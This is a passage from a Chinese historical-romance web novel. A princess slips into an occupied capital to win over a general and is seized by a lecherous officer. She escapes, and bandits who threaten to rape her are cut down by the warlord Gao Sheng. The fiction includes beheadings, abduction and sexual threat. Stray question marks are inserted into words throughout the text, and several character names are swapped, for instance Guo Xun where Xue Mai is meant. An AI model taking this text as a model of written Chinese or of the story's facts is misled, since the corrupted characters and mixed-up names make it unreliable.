此刻陈滔道谢,司妤道:“将军带兵士冲锋陷阵致性命于不顾,我?又怎能安然躲在营帐内?我?知西凉勇士自然不惧庞能之辈,但早些得胜,便少?一些兵士伤亡,我?心中?也宽慰。” 听得此话,陈滔心中?顿觉得激奋,他原本对?皇室、对?朝廷十分不满,如今听见公主能说出这番话,便觉得事?情也没有绝对?,皇室有些人,譬如公主也是不错的。 他再三朝公主道谢,公主则劝他快去修整。 等他回中?军帐,便听卢慈问他道:“你与公主在那里说什么?告诉你,这女人最会以美色蛊惑人心,宋之洵便是这样,大哥也——” 说话间,他话音一顿,改口道:“总之你长点心眼,离她远些。” 陈滔十分不悦,反驳道:“若非有公主,我?们这一仗哪能如此容易?我?不过向公主道一声谢。” “笑话,凭他庞能,我?还不放在眼里!”卢慈道。 李风华说:“卢将军,陈将军,别争了,先将战况报与太尉吧。” 二人这才止住,将各营情况一一上报。 待卢慈几人走了,李风华朝高盛道:“太尉,属下有话,不吐不快。” 高盛看他一眼,示意他说下去。 李风华道:“属下以为,如今各位将军多有争执,彼此不服,皆因?太尉帐下无少?主,若有少?主,就算太尉重伤,诸位将军必当齐心协力效忠,绝无二心。 “日前诸位将军之不战而撤出京城,就因?太尉重伤未醒,性命垂危。实?言相告,那时军中?多以为太尉将亡,所以人心浮动?,大有为自己想退路的心思。太尉勇冠三军,每每争战,必是身先士卒,万一太尉有差池,余下这数十万西凉勇士,必是分崩离析,各寻归路,那太尉之心血便全完了。” 高盛听着,没有反应,也不知是无法?有反应,还是不想有反应。 李风华接着道:“所以待太尉痊愈,定要广纳妻妾,多生?子嗣,如此才能长久。” 高盛瞥他一眼,突然开了口:“公思看我?现在只有半条命,还流落在外,京城已失,就不要再和我?提女人了。” 这是被逼急了,不得已开口,李风华怕他牵动?伤口,连忙道:“我?是说等太尉痊愈,大军安定下来,不是说现在……” 高盛不言,他继续道:“以及……长公主此人,虽美貌,却万不可轻视,太尉日后还须时时防备才是。” 高盛白他一眼,发话道:“出去。” 李风华知道太尉这是不爱听了,连忙告退。 王小桃猜测,表叔听了这话反应这么大,是不太想提起自己对?长公主没防备,被她当众刺杀的事?。 那时她在岸上,并不知道水里是什么情形,只能远远看见公主在水中?穿梭自如,朝表叔挥去利刃,而表叔连自保都难,那对?表叔来说一定是很难受的时刻,也是最耻辱的记忆。 李风华走后,王小桃去看他颈间的伤口,告诫道:“表叔以后要少?说话,这伤刚好一点。” 她这边说着,高盛已经看向她,从他的目光里,她意识到?他要问的话。 宋之洵不见的消息当然已经有人告诉他了。 王小桃便老?实?道:“我?把宋之洵放走了。” 末了,她又把自己看到?的说出来,宋之洵要带长公主离开,长公主拒绝的事?。 高盛沉默半晌,点了点头?,意思是知道了。 他试着抬手,手却仍然是无力,最后挫败地叹了声气。 王小桃连忙安慰道:“大夫说表叔中?的毒太狠,那毒名为‘见血封喉’,号称一滴就能要人性命,表叔能保住一命已经是万幸了,慢慢喝着药,会恢复的,不要着急。” 高盛没回应,只是乖乖躺着没试着动?弹了,静静看着前方,不知在想什么。 第27章 第 27 章 等天亮, 队伍稍作修整,便收到了?命令,变换阵形, 回程朝东。 司即一见马车掉头, 就知?道是要?回京城了?,顿时欣喜不?已, 几乎想与高盛道谢。 但显然,他选择回京是有他的谋算,与她无关?,以他的性?情, 绝不?会?将京城拱手相让。 高盛同意攻回京城了?,现在的问题是, 安朝烈有四十万大军, 西凉军这一回撤离只带回二十多万人马, 确实难以相抗。 她虽然在高盛营帐中言之凿凿说什么安朝烈根基未稳、他们里应外合,其实她对打仗之事一窍不?通, 那?些话全是为了?说动高盛打回京城而已,如今她也开始担心起来。 尤其有一日, 竟见到卢慈麾下士兵和柴进绪麾下士兵打架,这种忧虑更甚。 西凉军是一支强悍的军队,但须有强将带领, 若是如此?下去,一时军队四分五裂, 便什么都不?是了?, 又拿什么去对抗安朝烈? 所以……高盛什么时候能好? 她也疑心, 若高盛好了?,真正夺回了?京城, 会?不?会?第一时间杀了?她? 前路坎坷,只能走?一步算一步。 几日后,大军在京城边上的新安郡扎营。 军士才停下,便有军令传来,安朝烈极有可能趁西凉军兵马劳顿而袭营,须全员戒备。 果然,没一会?儿便有斥候来报,前方大军来袭。 高盛派陈滔出战,一番争战,对方偷袭并?没占到便宜,于是收兵回去。 几日下来,双方多有交战,各有胜负。 卢慈曾率一路兵前去攻城,对方坚守不?出,卢慈败回。 显然安朝烈并?不?准备速战,高盛手下兵将,大多出自凉州边境,这批人长年与羌人征战,其骁悍勇猛无人能敌,安朝烈纵有四十万大军也不?敢轻敌,所以采用了?防守战。 他守住京城与各方要?道,粮草充足,西凉军却是前去西昌半途而回,粮草不?足,安朝烈就这样拖着也能让西凉军无奈退兵。 相对来说,西凉军是更着急的。 如果不?成,便要?回西昌,徒劳这一场,到那?时,安朝烈又已废帝再立。 司妤明白这些,跟着着急。 有一日她被叫入中军帐,见高盛已从床上起来,坐于一张椅子上,他面前是京城及周边地图,李风华卢慈等人都在,显然是在商议战事。 她多看了?高盛一眼?,发现他人似乎略有消瘦,但精神还算好,面目沉静,颈间有一条两寸多长的伤,正结着厚痂,看着很有些吓人,像是头断了?又被接起来的怪物一样……她也不?知?道他如今能不?能动弹。 她希望他能快点好,因为忧心战局,他不?好,凭卢慈几人不?一定能拿下京城。 她过来,高盛没开口,是风华道:“请公主?来,是为向公主?打听,薛迈其人,公主?是否了?解?” 司妤知?道薛迈这个人,回道:“我?见过他,我?八岁时,他曾随舅母进京谋求官职,但父皇不?曾召见他,倒是我?因去见舅母,见过他一次。” 李风华又问:“他与郭循关?系如何?”随即解释道:“此?人在郭循死后投身安朝烈,有勇有谋,极难对付,如果能晓之以理劝其倒戈,此?仗便胜了?一半。” “和国舅的关?系……”司妤想了?想:“原本他与国舅长子有来往,后来他向国舅求娶国舅长女?,因他家中只是涿郡太守,国舅大感?受辱,便将他羞辱一顿,不?再许家人与之结交……那?之后,两人应是没有来往,也许是这次国舅主?动示好,他才投入国舅麾下。” 李风华听完,评论道:“如此?,倒难说,若他对郭循其实心怀怨气,便有可能忠于安朝烈。” “那?就放弃此?人。”高盛道。 李风华叹息一声,转而朝司妤道:“多谢公主?,公主?先去歇息吧。” 司妤道:“我?去说服他。” 众人诧异地看向她。 司妤解释道:“他求娶那?位表姐,曾来宫中做过两年伴读,之后才回乡嫁人,若薛迈因此?事而怨恨国舅,想必是对此?耿耿于怀,我?或许能以这位表姐的关?系说服他。” 李风华道:“我?等的确打算派人混入京城,但公主?入京也太危险了?些,万一被发现……” “万一被发现,他也不?敢杀我?,但若没发现,便极有可能说服薛迈。”司妤说。 的确,长公主?出生当日,五彩霞光漫天,世?人惊叹,那?时宫人还以为皇后将要?诞下真命天子,没想到却不?是皇子,而是公主?。 但这公主?生得貌美非常,发如墨缎,肤如白雪,十多年间,越长越美,因此?而被奉为大兴最耀眼的明珠。 这样身份的她,少有人敢胡乱杀掉,甚至对于任何一个男人来说,杀这样一个尤物都会?觉得可惜,他们更愿意占有她,以彰显自己的实力。 高盛轻笑一声,“既然公主?有此?大义,那?便依公主?所言。” 他想,她能用美色引诱宋之洵,想必,被安朝烈拖到床上去也无所谓的,说不?定还能策划下一次刺杀安朝烈,这样倒省了?他们的事。 司妤看向他,从他眼里看出一丝冷漠和微微的愤恨。 这眼?神大概来自于她杀他那?几刀,她也不?想细究,只说:“那?此?事便如此?定了?,什么时候去,提早告知?我?。” 隔天,司妤便与高盛手下一名谋士一同进城。 那?谋士名?苏检,擅谋略,颇有口才,前去联系城内旧部,司妤则去联系薛迈。 京城在戒严中,出入查得紧,好在司妤是女?人,倒更方便些,不?是严查对象。 到城门,两人被拦住,守卫盯着两人看一眼?,问:“什么人,到哪里去?” 苏检说出一口淮南口音道:“军爷,我?乃安大将军同乡,此?番得知?安大将军将要?封侯,特向大将军进献美人。” 此?话一说,守卫都来看他身后的司妤。 司妤戴着帷帽。 守卫好奇了?,问:“美人?长什么模样,让我?等看看?” 苏检胸有成竹,朝司妤道:“便给几位军爷看看。” 司妤缓缓撩起面前轻纱,很快又放下。 为了?遮挡面容,她特地画着浓妆,但就算如此?,也让几名?守卫惊住。 苏检道:“此?番我?若得赏,绝不?会?忘记几位军爷大恩。” 守卫便道:“我?叫牛三,你记住了?,得了?赏少说要?给我?两坛酒。” “那?是自然。”苏检连忙道。 牛三正欲放两人通过,却有一人在他身边耳语几句,他改口道:“这样吧,如今这城里很多细作,你们这一老一少的容易出事,我?护送你们去见大将军。” “这……”苏检自然不?愿意,但牛三却是打定了?主?意,眼?一横,握了?刀柄道:“怎么,我?可是好心,你还不?愿意?莫非,你就是高营派来的细作?” “那?怎么能呢,我?自然再愿意不?过……”苏检连忙道:“那?就多谢军爷了?。” 事已至此?,只能先同意。 好在这牛三八成是见司妤貌美,献与大将军后定得重赏,所以想分一杯羹。 牛三将门口守卫交与手下人,自己带着苏检与司妤进城。 往城内走?数十步,司妤便觉京城和之前比起来有所不?同,冷清了?许多,而且靠近西街的一家大酒楼竟关?门歇业了?。 听闻安朝烈纵兵在城中烧杀抢掠,也许真是事实,所以才致城中商户歇业,普通人闭门不?出。 牛三问苏检:“你准备怎么见大将军?去大将军府上?” 苏检有些犹豫,便问:“原本是想直接去大将军府上,只是不?知?会?不?会?被通传,军爷可有好门路?” 牛三一个小守门的,当然没什么门路,他道:“要?不?然,你去买两坛好酒,到时孝敬那?门房?” 苏检连连点头:“有道理,有道理,好在军爷提醒!” 牛三便道:“跟我?走?,我?带你去,酒我?熟,保准让你买两坛好的。” 苏检与司妤便跟着他走?,到了?地方,牛三兴冲冲拉着苏检往酒馆去,苏检与司妤眼?神交汇,已然作出决策。 就在几人进酒馆,牛三带苏检买酒,而苏检小心翼翼,挑三捡四时,司妤便趁人不?注意悄悄走?了?。 苏检还在那?里挑酒,又和掌柜的讨价还价,直到牛三一回头,惊道:“那?女?人呢?” 苏检才回头,佯作吃惊,连忙出去看,随即道:“完了?,这女?人跑了?!” “跑了??这……她不?是跟你来的吗?”牛三问。 苏检回答:“她是我?花五十两银子买来的,足足五十两银子啊,倾家荡产,把我?家宅子都卖了?!” “那?还不?快去找!”牛三比他还急。 苏检这才回过神:“对,去找,去找,她没来过京城,一定走?不?远的,沿着街道追!”说着就要?扔了?酒去追人。 牛三倒还冷静一些,拉了?他道:“我?帮你去找,你找那?头,我?找这头,找着了?或是正午时分在这儿碰头,明白了?吗?” 苏检连连点头,便跑了?。 司妤却还真不?熟悉京城的路。 她虽在京城长大,可日日都在宫中,就算出行也是乘着公主?仪仗,或是乘马车到太尉府,但太尉府就在皇宫东边,出宫门就到,相当于她哪里都没去过。 所以她在街上转了?几圈,根本不?知?道怎么和苏检会?合,一来她找不?到回酒馆的路,二来她还不?敢回,怕撞到那?牛三。 最后她决定直接去找严淮。 尚书令的府邸也在皇宫附近,是她能找到的。 到严府叩响门环,门房来开门,看她一眼?,问:“娘子找谁?” 司妤将一只簪子拿出来:“劳烦阁下,将此?物交与严令君。” 各府邸的门房每日迎来送往,都是主?人家最得力的心腹,那?门房接过这簪子一看,便知?不?是普通人家能有的,一时觉得奇怪,主?人并?不?是好色之徒,竟有女?人找上门,而这女?子说话、行事,样样透着一股雍容贵气,也不?像是什么风尘女?。 他略一思忖,回道:“娘子稍等,我?这便去禀明主?人。”说完拿着簪子去了?。 司妤也不?知?严淮能不?能认出这是自己的簪子,但宫中出来的东西,用料与成色自然与外面不?同,严淮当会?慎重才是。 好在没一会?儿,门房回来,开门让她进去。 司妤被领到外院的书房前,门房在外道:“主?人,那?位娘子来了?。” 里面应了?一声,过一会?儿严淮才从里面出来。 见到来人身形严淮便有些愣,随即司妤撩起垂纱,惊得严淮脸色大变,立刻就上前来要?行礼。 司妤打断他:“严令君,小女?子冒昧前来,打扰令君了?。” 严淮这才知?司妤不?愿让人知?道身份,很快让门房下去,将司妤请进了?书房。 到书房,严淮连忙向司妤行礼:“臣拜见公主?,当日公主?被水冲走?,臣全力去寻,却还是被人抢了?先,及后公主?便被带走?,音讯全无,臣无能为力,实在……” 严淮的心痛溢于言表,最后道:“如今能见公主?安然无恙,臣死而无憾。” 司妤是相信严淮忠心的,他对大兴若没有忠心,便不?会?冒险给高盛写信求救。 她让他起身,随后道:“严令君送去给太尉的信,我?看到了?。” 严淮抬起头,一时不?知?她与高盛目前是什么情况。 司妤解释道:“大敌当前,我?与太尉如今已暂时讲和,京中现在如何了??” 严淮来不?及消化这里面的信息,立刻回道:“安朝烈欲废帝再立,臣与朝中公卿极力反对,加上正好那?时平州王染上风寒,高烧不?退,此?事便暂且搁下,之后平州王病愈,安朝烈再欲提起,幸而太尉折返欲攻京城的消息传来,朝臣也仍是不?同意,此?事也就搁置了?。” “太后与皇上可还安好?”司妤问。 “安好,只是宫中皆是安朝烈的人,皇上的课业也被停了?,臣等靠近不?得,自公主?离京,便再未见过皇上。” 不?算是好结果,但也不?是最差的结果,司妤也不?忍问昌乐的消息,顿了?顿,说明来意:“太尉将伐安朝烈,期望严令君能暗中联系朝臣,予以方便,另,不?知?严令君与薛迈是否熟悉,我?欲见他一面,还须令君居中安排。” 严淮既依然是尚书令,证明安朝烈还算信任他,因此?他应该与薛迈也有些交情。 严淮一口答应,看看天色,道:“臣现在便给薛迈下请帖,邀他明日至府相聚,委屈公主?在此?处留一夜。” 严淮与薛迈就算有关?系也只是官场上的同僚关?系,自然不?能突然让人来见,这样安排已是最快的速度,司妤同意。 到第二天,薛迈受邀而至。 薛迈大约是三十五上下的年纪,出身书香世?家,本人看上去有几分儒将风采。 严淮将薛迈请进客室,不?期然,薛迈却见堂下坐着一人,貌若天仙,却有一种不?可逼视的傲然贵气,他愣了?一下,随即意识到,天下间有这等容貌,又有这等气度,还出现在严淮府上,只可能是一人。 那?人缓声道:“薛卿,许久不?见。” 第28章 第 28 章 薛迈立刻上前见礼。 司妤却沉下脸, 正颜厉色道:“国舅遇难,可是薛卿与安朝烈合力谋害?” 薛迈连忙道:“绝无此事,臣既受国舅之召, 又怎会谋害国舅?国舅为?安朝烈与其义子屈继先所杀, 臣本欲召集宣州兵马为?国舅复仇,奈何其余人?皆降, 臣孤掌难鸣,才不得不暂且归顺。” 司妤道:“如今安朝烈欲自行废立,纵兵在京城烧杀抢掠,其义子更是劫掳公主, 欺辱君上,薛迈, 你出?身书香礼义之家, 本为?朝廷命官, 当勤政爱民,报效朝廷, 如今却助纣为?虐,鱼肉百姓, 来日史书奸臣传上,必有你一笔!” 薛迈立刻叩头,痛声道:“公主恕罪, 臣亦苦心归劝安朝烈约束屈继先与兵士,匡扶社稷, 救回?公主, 奈何其不听臣言……臣也终日抑郁忧心, 却无可奈何!” 司妤问?:“果真如此?” 薛迈立刻道:“如有半句虚假,天打雷劈!” 司妤语气才缓和下来, 温声道:“昔日郭家惠君表姐曾为?我宫中伴读,我便知她倾心之人?,不会是豺狼虎豹。” 薛迈意外地抬起头来,喃喃道:“郭家……大娘子?” “正是。”司妤似乎顺口道:“薛卿字中,可是有个‘配’字?” 薛迈道:“是,臣字文配。” 司妤道:“当年表姐在上汜日之前绣香囊,我见里面有个‘配’字,便问?这香囊为?何人?所绣,表姐羞涩不言语,我便戏称,是否是表姐心上人?,表姐说,舅舅送她入宫,是准备为?她配宗室子弟,但她全无此心,只想回?乡。 “后来,上汜节至,不知怎么,她又不绣了?,那?香囊前些日子被宫女翻出?来,我才知竟在我的旧物里,她也未带走。” 薛迈听这话,不禁泪如雨下,泣声道:“臣便是上汜节向郭公提亲,只是当时气盛,不知郭娘子有此意,若知,绝不会因郭公羞辱就?负气离去……” “原来如此,大概是表姐收到消息,知道无望,便死心了?。”司妤叹息道:“舅舅低看薛卿,害了?表姐。” 郭循长女郭惠君已在五年前离世,那?时长生教作乱,她夫君弃她而逃命,令她被长生教贼众掳获,她不愿受辱,举刀自尽了?。 此事薛迈自然知道,而他在提亲遭拒、负气离去后便再没见到郭惠君。 那?女子,便成了?他心底永远的悔痛。 司妤见郭循痛哭,知道他定会忠心不二,便继续道:“薛卿,我欲讨伐安朝烈,薛卿可愿助我?” 薛迈立刻道:“但听公主示下,臣赴汤蹈火,以死报国!” “太尉高?盛日前虽狂妄,但如今愿伐安朝烈,薛卿得安朝烈信任,望助一臂之力。”司妤说。 薛迈思忖片刻道:“臣与淮南聂怀光一起守京城北门,此人?对安朝烈也有不满,五日后为?安朝烈寿诞,臣会说服聂怀光,开北门,放太尉入城,届时以城上白旗为?号!” 司妤下座起身来朝薛迈曲身行礼:“我在此替大兴、替万千百姓谢过将军,江山安危,全系将军身上!” 薛迈立刻跪拜道:“臣惭愧!事成,则臣在,事败,则臣死!” 严淮在一旁,不由?多看司妤两眼?。 长公主此番游说薛迈,可谓恩威并济,步步为?营,真正的晓之以理,动?之以情,让薛迈心甘情愿臣服。 若先帝有公主这般英明,江山何至于?此? 若皇上有公主这一半匡复祖宗基业之苦心,也许便不会有高?盛之欺君、安朝烈之祸乱。 就?在此时,外面却有急促而来的脚步声。 严淮正欲呵斥下人?,外面人?道:“令君,屈大将军来了?!” 话音落,门已被推开,外面一人?道:“严令君叫薛将军喝酒,怎么不叫我?” 来人?膀阔腰圆,有几分异族神色,正看向室内。 此时严淮站在酒案左方,薛迈在酒案下方才起身,司妤就?站在薛迈面前。 司妤立刻低下头,缩着?身子,一副丫鬟婢女的姿态,严淮则道:“只是小酌一杯,薛将军也才刚到,屈将军怎么得空过来了??” 司妤才知,这人?竟是安朝烈义子屈继先。 他突然过来,是否是刻意?或是对严淮与薛迈起疑? 屈继先却已将目光投到司妤身上,一边看着?,一边道:“不过来讨两杯酒喝。”说着?问?:“此女是何人??” 严淮略有迟疑,随后回道:“是严某府上一名舞伎。” 严淮与薛迈在此,旁边一个女子,除了是歌舞伎或婢女,再不可能有其它?。 屈继先的目光全被司妤吸引住,语气中含着?惊叹,道:“到底是严令君,府上竟有如此绝色之人?,与她比起来,六宫粉黛也不算什么了。” 严淮笑道:“将军谬赞了?,因薛将军至,才令此女出?来献舞一支。” “既然如此,那?舞上一段,我看看。”屈继先道。 他并没有要走的意思,严淮只能让几人?就?座,朝司妤道:“那?……你便与二位将军献一支舞。” 司妤曲身道:“是。” 说罢,只能在案下跳起舞来。 好在她当时为?杀高?盛特地练过两段舞,也能将就?看,不致暴露她不是舞伎的事。 屈继先看得眼?珠子几乎要掉出?来,严淮与薛迈对视一眼?,都面露忐忑。 待司妤跳完,严淮责备道:“毫无长进,莫污了?客人?的眼?,算了?,你下去吧。” 司妤正要走,屈继先道:“屈某却觉得这一舞极好,敢向令君讨此女回?去,令君愿意割爱么?” 严淮愣住,不知如何回?应。 司妤倒是想严淮说这是他宠妾,不愿赠人?,可严淮毕竟不敢如此大胆,这一犹豫,也失去了?机会。 没等严淮回?话,屈继先就?已从酒案旁起身,一把拽过司妤:“令君放心,屈某受此大恩,绝不会忘了?令君。令君每每在朝议上反对义父废帝,可知义父已生怒,多亏屈某在一旁劝阻,义父才留下令君。” 严淮怕他起疑,连忙道:“多谢将军,只是此女……此女也是严某心中所爱,实在……” 屈继先笑?道:“我知道,令君惧内,身边有此女也是浪费,倒不如赠与我,我在义父面前必定多替令君美言。” 说着?他就?要将司妤带走,严淮立刻道:“不可——” “嗯?”屈继先略有恼怒又有疑心地回?头。 司妤今日的妆容并不像舞伎,严淮的态度也很不寻常,要不是屈继先被美色所迷,也许就?察觉到了?,司妤怕暴露,便赶紧道:“多谢令君垂爱,劳令君收留这许多年,妾身身无长物,只能来世再报。妾身仰慕屈将军英名,愿随将军离去,求令君应允。” 说着?朝严淮跪拜。 严淮自知今日无法留下公主,只能同?意,叹声道:“既如此,那?你便随将军去吧。” 屈继先大喜,拉了?司妤便往外走,到门外,挟她上马,赶往府上。 司妤今日算是知道这屈继先好色到何等地步,思来想去,只能先顺从他,再找机会逃出?,反正她早已不是清白身,也死了?做贞洁烈妇的心。 屈继先带司妤回?府上,便拉了?她朝后院去,一边大步走着?,一边目不转睛看向她,从头到脚,几乎要用目光给?扒干净,随后得意道:“你知道本将军?” 司妤温声道:“在严令君府上,曾听过将军威名,一直心存景仰,不想今日能得见将军。” 屈继先大笑?,过了?中庭,一把将司妤抱起。 迎面却撞上一行人?,竟是昌乐,昌乐看着?司妤,大吃一惊,几乎就?要唤出?来。 司妤立刻从屈继先怀中下来,朝昌乐行礼道:“见……见过夫人?……” 一副害怕的样子。 昌乐震惊地看着?司妤,屈继先笑?道:“这不是夫人?,这是昌乐公主。” “公主?”司妤假装诧异,看向昌乐,以眼?神示意她不要暴露自己的身份。 昌光看着?司妤,语气淡淡道:“这是谁?将军从哪里弄来这女人??” 屈继先得意道:“严淮府上的舞伎,被我讨来了?,怎么,这美人?比起你那?姐姐,长公主如何?人?人?说长公主美,哪天我从高?盛手里抢回?来看看,到底谁更美。” 昌乐道:“倒是比皇姐并不差,只是太小家子气。” 屈继先大笑?:“公主是忌妒了?吧,她可比你好看多了?!” 说着?一把挟住司妤就?往寝房中去,昌乐在后面立刻道:“将军不怕安大将军怪罪?” 屈继先回?过头:“义父怪罪什么?” 昌乐道:“我承认,此女比起长公主来也不逊色,五日后将是安大将军寿诞,将军为?何不将此女献给?安大将军?大将军必定欢喜。若让大将军得知将军得此美人?,却偷偷据为?己有,大将军心中如何想?” 屈继先不禁犹豫起来,放下了?司妤。 趁他犹豫,昌乐继续道:“就?怕将军舍不得,爱美人?胜过爱前程。” 屈继先明显烦躁起来,一会儿恼恨,一会儿又看看司妤,一边觉得昌乐说的有道理,一边又舍不得眼?前的美人?。 这时有人?道:“将军,廖都尉求见。” 屈继先想了?想,吩咐丫鬟道:“把她带去后院,等我去去就?来。”说完便先走了?。 昌乐看着?丫鬟将司妤领去后院厢房,也跟着?进屋道:“你们下去吧,我问?这美人?几句话,探探她是什么来历。” 她毕竟是公主,丫鬟们不敢反抗,依令下去了?。 待她们下去,司妤立刻关心道:“昌乐……” 昌乐却急问?:“姐姐,你怎么在这里?” 司妤解释:“我在高?盛军中,他要打安朝烈,我潜进来找些忠于?皇室的臣子。” 听她这话,昌乐不由?哭起来:“真的?高?盛能打进京城来吗?姐姐,那?屈继先太可恶,他将我掳来宅中,我要不从,他就?打我……我如今已是完了?……每日都恨不得去死,可我再没见过母后,也回?不了?宫……” 一边说着?,一边已是痛哭流涕。 司妤安慰道:“说什么话,乱世之中,能活着?便是希望。你不要惹怒他,先顺着?他,等我们的消息,安朝烈的人?不是西凉军的对手,我们定能夺回?京城的,到那?时就?好了?!” 昌乐仍是哭,心中却有了?希望,又问?她:“可你怎么被带到了?这里?” “我在严淮府上,被屈继先撞见,便不问?青红皂白将我掳来,你不要向他暴露我的身份,要不然他知道我来城中找内应,那?一切便完了?。” 昌乐连连点头:“我知道,我绝不会说。” “那?你可能帮我逃出?去?我还?要出?京城给?高?盛营中带话。”司妤问?。 昌乐无助道:“这里都是屈继先的人?,我要怎么想办法?” “有没有没人?看守的时候,有没有狗洞之类,守后门的是什么人?,或者有没有能出?去的机会?”司妤提醒她。 昌乐想了?想,“后边院墙那?里倒是有个狗洞,但院子里有人?看守……我想起来了?,我屋子后面是个空房子,今天晚上我偷偷把它?点了?,这样下人?们要来救火,你就?趁机逃走。” 司妤觉得这样可行,刚向她问?明狗洞具体方向,外面便传来屈继先的声音,昌乐便已起身,急朝司妤道:“姐姐你出?去后定要来救我!”说着?便急急忙忙出?去了?。 屈继先很快过来,在屋外朝昌乐道:“你可别打她的主意。” 昌乐不屑道:“不过一个舞伎,我为?何要打她的主意?怎么样,姓廖的定然也劝将军将她留着?献给?大将军。” 屈继先“哼”一声,推门进来看一眼?司妤,见她安安稳稳坐在屋内,便又出?去朝丫鬟吩咐:“好好侍候着?。”说着?带着?昌乐走了?。 司妤眼?看昌乐回?头期待地望她一眼?,心中不由?叹息。是自己太天真,以为?安朝烈会是忠义之臣,结果到了?京城他才显露野心。 而这朝廷上下,有多少人?是假忠臣,有多少人?是真反贼? 她熬到夜晚,也不敢睡,至三?更天,果然听到外面有嘈杂声,有人?喊:“走水了?——” 火势似乎不小,她在屋内就?闻到了?焦糊味,又听有人?大喊“快救火”,脚步声都往东边而去,待门外安静下来,她便开门看向外边,果然空无一人?。 于?是立刻从屋内出?来,小心绕过几个院子,去找昌乐说的那?个狗洞。 狗洞并不好爬,墙下有个坑,若非她瘦,还?不一定能爬出?来,好不容易钻出?来,却听见附近有巡逻卫兵的脚步声传来。 外面是一条空旷巷道,完全没遮掩的地方,她没办法,只好又钻进狗洞内,待卫兵过去,再从里面艰难爬出?来。 这一趟太急太慌,竟把一只鞋掉在了?里面,可她不愿再钻回?去找,又怕在这儿耽搁太久被卫兵发现,只好不管不顾往远离屈宅的黑暗处跑。 从未赤脚走路过,几步路便硌得生疼,但逃命在即,顾不上这些。 正值月初,只能见着?微微的月光,她又不识路,跛着?脚绕了?好几圈,也不知绕到了?哪里,终于?到一片僻静的角落,她便将就?在墙根下坐下,休息一会儿,准备熬过黑夜了?出?城去。 这夜如此漫长,偶尔能听见更鼓声,又能听见犬吠声,她盼着?能听见点人?声,又怕听见人?声靠近。 此时她孤身一人?,行迹可疑,无论是碰见人?,还?是碰见野狗,都能让她无法应对。 但并没有坐多久,也许是半个时辰,也许是一个时辰,竟有一队军士从前边街头跑过去,听他们议论,竟好似从屈宅出?来的,要抓一个女人?。 司妤一听便知是在抓自己,屈继先竟这么快就?知道她跑了?。 而且她这才知道,自己藏的这地方竟离屈宅不远。 只能继续藏。 万幸夜里黑,出?来找的人?也不多,又在某个巷道里藏了?半夜,才算熬过夜晚。 她却不敢再去找严淮,怕屈继先在那?里堵她,而城中一定还?在搜寻她,她想尽快出?城去。 但脚上掉了?一只鞋,样子太怪异,若要出?城,还?要配齐一双鞋才好。 最后在城中逡巡一会儿,找到个沽酒的妇人?,她用自己身上的鲜亮衣服和妇人?换了?身布衣,为?了?拿一双鞋,还?被妇人?摘去耳环,如此司妤才敢往城门去。 城门严查进城的,对出?城的倒只是随便问?问?,司妤端着?一颗心从城门出?去,到离城门老远才松一口气。 但她还?须找到高?盛的营地。 只知离城五十里,还?知在京城西边,但她并不知路线,加上一夜担心受怕,此时已是饥肠辘辘,粒米未进。 而她最好赶在天黑见找到营地。 今日有太阳,她踉踉跄跄朝西走,但凡路上见到疑似闲散的男子,便吓得魂飞魄散,怕他们起歹心;见到村落也不敢去讨吃的,一是怕遇险,二是实在不会,最多找老人?或妇人?问?一问?路,便继续往前走。 直到下午,她远远见着?一条河,长得很像高?盛营地边上那?条,便觉得有了?希望。 更何况她又饿又渴,就?算没有吃的,喝点水也好。 便欢喜地往河边去。 穿过一条林中小路便到河边,她急跑过去,才赫然发现那?河边竟躺着?一群男人?,足有四五十人?,身边都放着?柴刀或是斧头,有几人?还?拿着?环首刀,分明是一群落草的匪寇。 此时这群人?也看向她,眼?冒精光。 那?样的眼?神,犹如恶犬看到肉。 她在片刻的怔愣后赶紧转身往回?跑。 后面很快传来动?静,不用看也知道他们追来了?。 司妤几乎要哭出?来,这群匪徒又与屈继先那?种人?不同?,在屈继先面前,真有什么事她还?能自曝身份,他们杀她之前都要先考量一番,但匪徒却不同?…… “救命,救命——”一直没出?声的她急得大喊。 但还?没跑出?那?片树林,她便被人?一把抱起,那?人?将她挟在腋下大笑?:“是我的了?,我先!” “要不是你绊我一下,怎么也轮不到你!”旁边人?说。 “呵,那?明明是你自己摔的!”这人?说着?便挟着?她往河边走,司妤惊得一边哭一边喊“救命”,却也知道一切都是徒劳。 最后她无奈急道:“我是公主,你们放了?我,我给?你金银——”话未完,那?人?将她扔进了?河里。 这一扔让她全无反应,哪怕会水也呛了?一口水,还?没等她浮出?水面,那?人?便已下水来,抓了?她衣服将她脸在水里洗净。 随后一看她脸,既惊又喜,赞叹道:“他娘的,今天走了?大运!”说着?又将她从河里拎起来走向岸边,周边人?都艳羡地看着?他,甚至已经想要脱裤子排队。 司妤知道自己完了?,她终究是将这一行想得太乐观。 但抬眼?间,她却瞧见一队铁骑自远处河边慢慢逼近,当先一人?,身穿银光铠,手持掩月刀,雄姿英发,器宇轩昂,于?天光与水光中踏马而来,犹如天神。 竟是高?盛。 一时间,她以为?是梦,又一瞬间,她突然安下心来。 第29章 第 29 章 这群匪寇也?看到了?远处慢慢靠近的队伍, 不由警惕起来,一边拿起武器,一边胆寒道:“这是……是什么人?” 他们只是落草的土匪, 对方可是正规的军队, 还是骑兵,根本不可能打得过。 挟着司妤的人将她放了?下来, 一边盯着前方,一边去拿了?边上?的环首刀。 有人道:“听说有一群西凉军在附近安营,是什么……高盛的大军,会不会是他们?” 这人回道:“老七, 等他们来了?,你?和?他们说, 我们愿加入他们。” “好。” 乱世之中, 若有人愿意投军, 那些大官们高兴还来不及,更何况他们这群人都是青壮, 是绝佳的兵力来源。 几人商议间,那队铁骑已袭至跟前, 里?面一人上?前两步,拱起手正要说话,那战马之上?的掩月刀已然落下, 一刀便?似切菜般将那人头颅割下,滚出老远, 失了?头的身体?还没反应过来, 兀自站着。 出手的自然是高盛。 后边的人愣了?片刻, 随后立刻拥上?去朝高盛砍杀,可高盛拿的是几十斤重的长柄掩月刀, 在挥扫间就已劈杀过来,瞬间便?又杀去五六人,骏马闯入贼匪堆里?如入无人之境,毫无阻碍就策马奔至司妤跟前,一弯腰,没等司妤去攀爬,单用臂力就将她拎起来,扔到了?马背,司妤堪堪坐在了?他身后。 她没骑过马,这样的高度,这样的颠簸,都叫她惊惧,下意识就紧紧抱住身前人的腰身。 那一瞬间,刚才他在水光中那天神般的身影与多年前那个少年将军浴血奋战的身影重合,才让她觉得,他们真的是同一个人。 有鲜血溅到她脸上?,眼看着刚才那群恶匪一个个死在面前,头颅、胳膊往地上?滚落,尸体?交织,血流满地,仿佛进入人间炼狱。 原来这就是战争。 不,这还不算,因为这只是西凉军对土匪的单方面杀戮。 